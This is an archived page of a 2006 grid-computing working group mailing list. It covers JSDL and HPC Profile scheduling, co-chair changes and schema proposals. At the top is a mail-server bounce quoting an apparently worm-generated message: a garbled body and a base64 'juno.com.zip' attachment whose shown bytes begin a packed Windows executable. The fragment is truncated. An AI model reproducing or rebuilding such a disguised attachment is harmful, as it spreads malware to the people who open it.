- jsdl-wg - lists.ogf.org

Delivery failure
by postmaster＠sklad10.ogf.org 21 Sep '06

21 Sep '06

System generated message - Please do not reply ---------------------------------------------- Delivery failure ---------------------------------------------- Your message has encountered delivery problems to the following recipients: hsuabby(a)juno.com Reason: SMTP Remote: Message 0000278054 not sent, no recipients accepted ---------------------------------------------- A transcript of the session follows ---------------------------------------------- * Beginning processing of domain juno.com * Domain MX record lookup succeeded * Attempting connection to mx.lax.untd.com. succeeded <= 220 mx24.lax.untd.com ESMTP => HELO sklad10 <= 250 mx24.lax.untd.com Hello sklad10 pleased to meet you => MAIL FROM:<jsdl-wg(a)ggf.org> <= 250 jsdl-wg(a)ggf.org... Sender OK => RCPT TO:<hsuabby(a)juno.com> <= 550 hsuabby(a)juno.com Account Inactive ---------------------------------------------- Your message reads (in part): ---------------------------------------------- Received: From ggf.org (unverified [192.168.128.6]) by SMTP Server [192.168.128.10] (WinGate SMTP Receiver v5.0g) with SMTP id <0000278054@sklad10>; Thu, 21 Sep 2006 10:47:58 +0400 From: jsdl-wg(a)ggf.org To: hsuabby(a)juno.com Subject: Date: Thu, 21 Sep 2006 11:04:50 +0400 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0001_62E423A0.1BBB9D7A" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 This is a multi-part message in MIME format. ------=_NextPart_000_0001_62E423A0.1BBB9D7A Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit oéö` Ù,äÌã«ÓÅ¡²>º]þs¬e¿÷ÒlíbÚÐæJÏÓ ÑŒa8òÁÇTóÈe¢·|IÂÙÊs;ñÐcP":jšp0fLŠÛY ÙxÈ ²tÞD :!Œ ÈLJjWS«ž£Ãè ?°Ì^fZn3{j¥ÁvæÑÏdÆ0·aú€ç'©2eÅ[ÃeP(`JÔß$ÝpÜg|q}kÇýêTMŠÂE#Hr©m<Š×3Ìæâ I"þO°V-ò,_÷GImn¡¿/÷-Ð _mUØ7ÁùÔÏ5Ì!ïÔ"ö¥zwÎ3iGtÊåj ------=_NextPart_000_0001_62E423A0.1BBB9D7A Content-Type: application/octet-stream; name="juno.com.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="juno.com.zip" UEsDBAoAAAAAAJk4NTUVGIZiwHAAAMBwAAAIAAAAanVuby5jb21NWpAAAwAAAAQAAAD//wAAuAAA AAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYAAAADh+6DgC0Cc0huAFM zSFUaGlzIHByb2dyYW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQRQAATAEDAAAAAAAAAAAAAAAAAOAADwELAQcAAGAA AAAQAAAAgAAAAO0AAACQAAAA8AAAAABQAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAAAAAQAAEAAA AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABT1AAAwAQAAAPAAABQFAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAAAIAA AAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAABgAAAAkAAAAGAAAAAEAAAAAAAA AAAAAAAAAABAAADgLnJzcmMAAAAAEAAAAPAAAAAIAAAAZAAAAAAAAAAAAAAAAAAAQAAAwAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1 0

Next call is September 27th
by Andreas Savva 19 Sep '06

19 Sep '06

As agreed at GGF18 we are not having a call this week. The next call is on Sep. 27 (Wednesday). An agenda will be sent out early next week. Thanks to all who participated in the GGF18 sessions. -- Andreas Savva Fujitsu Laboratories Ltd

1 0

Type for file elements in HPC Profile Application extension
by Christopher Smith 14 Sep '06

14 Sep '06

During the HPC Profile working group session yesterday (after JSDL session 1), Mark Morgan expressed an opinion that the file elements for input/output/error should be left as strings rather than changed to anyURI. The idea is that either the back end system accepts the string, or doesn't, and we don't put any constraints on the format. The description of those elements would then contain some statement that the implementation should return a particular kind of fault if it doesn't accept the provided string. I tend to like this approach purely from the laziness position that I don't have to craft some statements about exactly which formats are supported, blah, blah, blah. Mark also mentioned that it greatly eases implementation. There are some downsides from the interop point of view, but I think those exist anyway, as some systems might support some form of URIs, whereas others would not, etc, etc. So ... I would like to propose to keep the type of these elements as a string. Comments? Mark ... please chime in if I've misrepresented you in any way. -- Chris

1 0

Nominations sought for co-chair of HPC Profile WG
by Marty Humphrey 14 Sep '06

14 Sep '06

Folks, As we discussed in the HPC Profile session yesterday, Marvin Theimer must step down as the co-chair of the HPC Profile WG because of his new job responsibilities. (Note that I have been assured that this by no means implies that Microsoft will reduce or eliminate their effort in our WG). Marvin is a tremendous guy and has done a FANTASTIC job as the co-chair and we will miss his energy, experience, and vision. As a group, we have a number of things that we still need to push through, namely the finalization of the three documents of the group as well as our emerging interop/compliance suite efforts. Please send me email if you would like to nominate yourself or someone else as the co-chair of the HPC Profile group. The deadline for submissions is Friday Sept 22 (1 week from today). Thanks, Marty Marty Humphrey Assistant Professor Department of Computer Science University of Virginia

1 0

GGF18 material uploaded
by Andreas Savva 13 Sep '06

13 Sep '06

The slides and minutes are uploaded on gridforge. https://forge.gridforum.org/sf/docman/do/listDocuments/projects.jsdl-wg/doc…

1 0

Re: [jsdl-wg] Parameter Sweep Use Scenario
by Michel Drescher 13 Sep '06

13 Sep '06

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi Mark, thanks for the scenario description. As we talked earlier, I managed to resolve your issue, but I would like the JSDL WG to participate in that progress: In summary, you describe the following scenario: a) Legacy application that expects fixed names for input and output, i.e. "wing.dat" and "output.dat" b) The application also expects a second input data set residing in a particular directory, which is named "engine.dat". c) The input data and output data are structured so that explicit command line parameter manipulation cannot be used, i.e. the input contains 3D construction parameters for the wing and engine of an aeroplane. d) The parameter sweep then consists of providing the application with the appropriate input sets, and collecting the output using different names in a shared directory for later comparison. This scenario can be accomplished using the current draft for Parameter Sweeps. The presentation I gave was unfortunately of quire executive nature, so I left out probably important information. The current draft expects XPath 2.0 expressions to select affected parameters. The presentation obviously concentrated on the use case of command lime parameter manipulation. However, as XPath 2.0 is employed, one can select *any* element or even particle (sub-element of an XML element or attribute value) of that document. As the current parameter sweep proposal is intended to be embedded in a JSDL document, it is allowed (and in fact, encouraged) to select appropriate elements or particles of the DataStaging sub elements so that the data staging element actually carries out the parameter sweep functionality. If there is a need expressed, I will assemble an example to illustrate this. Cheers, Michel - -- Michel <dot> Drescher <at> uk <dot> fujitsu <dot> com Fujitsu Laboratories of Europe +44 20 8606 4834 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFFCDhUk0lMZTNKw4QRAtRIAKCaxu/dEJ6ti3QsfqignzyQvPjc1ACdERdF 0J2JQ8NtusjAhED7wmEe8s0= =x1IH -----END PGP SIGNATURE-----

1 0

HPC Profile meeting *ONLY* on tomorrow (Wed), not Thursday too
by Marty Humphrey 12 Sep '06

12 Sep '06

Folks, Originally, we scheduled TWO meetings for the HPC Profile WG -- one for the GGF proper and the other for the subsequent F2F. We did this because we felt that we potentially had a lot to discuss. Over the past month or two, many of these issues have either (a) been resolved, or (b) properly delegated to the JSDL WG or BES WG as appropriate. In other words, we feel that it is appropriate to only have *ONE* session instead of two. Therefore, we are *CANCELING* the Thursday session in the OGSA F2F (which was supposed to meet Thursday at 3:30-5pm). Note that we decided to cancel Thursday's meeting as opposed to tomorrow's meeting because (a) we believe that discussions in the main GGF session would result in a larger and broader audience, and (b) both Marvin and I would have had to rush out of the meeting Thursday evening to try to satisfy travel constraints. We look forward to a productive meeting in our main GGF session, which is tomorrow 1:30 - 3:30 in 158 A-B. -- Marty Marty Humphrey Assistant Professor Department of Computer Science University of Virginia

1 0

[Fwd: Proposed extension]
by Michel Drescher 12 Sep '06

12 Sep '06

Folks, meanwhile I figured out (thanks Joel!) that the Argonne mailman doesn't like ZIP files. :-( I attached a renamed ZIP file - rename it to "Archive.zip" and it should work out of the box. Cheers, Michel -------- Original Message -------- Subject: Proposed extension Date: Fri, 07 Jul 2006 13:55:10 +0100 From: Michel Drescher <Michel.Drescher(a)uk.fujitsu.com> To: JSDL WG <jsdl-wg(a)gridforum.org> Folks, sorry for the delay - my fault. I sent the revised proposal to the "wrong" mail address jsdl-wg(a)ggf.org. Obviously, this mail address is a dead end. :-( Please find attached two proposed JSDL extensions. The attachment contains the schemas, and a list of examples. NOTE: The multi job extension requires two backwards compatible changes to the JSDL v1.0 schema itself: a) jsdl:JobDescription gets an "id" attribute of type xsd:ID b) jsdl:JobDefinition allows more than one jsdl:JobDescription element. I will update/create the necessary specification documents after the next round of rotten eggs. ;-) Cheers, Michel -- Michel <dot> Drescher <at> uk <dot> fujitsu <dot> com Fujitsu Laboratories of Europe +44 20 8606 4834 -- Michel <dot> Drescher <at> uk <dot> fujitsu <dot> com Fujitsu Laboratories of Europe +44 20 8606 4834

6 13

JSDL: Retiring Chair
by Ali Anjomshoaa 12 Sep '06

12 Sep '06

Dear all, I am retiring as a co-chair of the JSDL-WG. It's been four years since Steve, Darren and I started the JSDL efforts, and with all of the support and hard work of the group produced v1.0 of the spec, released last November 2005. I feel that the time is now right for me to retire in favour of a new co-chair, who has been and is closer to the action than I have recently been. With that, I would like to nominate our editor, Andreas Savva, to take over from me as a group co-chair. Andreas has been an active member and the editor of the JSDL spec since the beginning. He has also been the OGSA liaison for JSDL and a very active member of that group and its efforts. I believe that given his commitment and his insight of JSDL and related work within OGF and elsewhere, he is the natural choice to take over as co-chair to drive the work of the group forward. I know that Andreas' nomination has the support of a good number of you already. However, the correct process would be to open the floor for any other nominations for a co-chair. If you have any objections to Andreas taking over as co-chair, or if you have another person in mind who you would like to nominate, could I ask you to make these known to Darren and Steve, either in private or in the first JSDL session at GGF18. If you prefer to be more discrete, you could approach one of the area directors: Stephen Pickles or Ramin Yahyapour. If you prefer to be completely open, you should use this mailing list. I will continue to remain an active member of the JSDL-WG and will contribute to any other OGF work where possible. Thanks for all your hard work and support in the JSDL efforts over that last 4 years. I think we have a good deal more constructive work to do - so let's keep it going. Cheers and take care, Ali -- ---------------------------------------------------- |epcc| - Ali Anjomshoaa PhD EPCC, University of Edinburgh James Clerk Maxwell Building Mayfield Road E-mail: ali(a)epcc.ed.ac.uk Edinburgh, EH9 3JZ Phone: + 44 (0) 131 651 3479 United Kingdom Fax: + 44 (0) 131 650 6555 -------------------------------------------------------------

1 0

Testing...
by Donal K. Fellows 12 Sep '06

12 Sep '06

I do not know why, but for some reason I was temporarily unsubscribed from the JSDL mailing list - I guess it has to do with the fact that some spammer has harvested the address. This message is just to check that this problem is at least part resolved (i.e. I'm no longer unsubscribed!) Are there more anti-spam settings that can be enabled? Donal.

1 0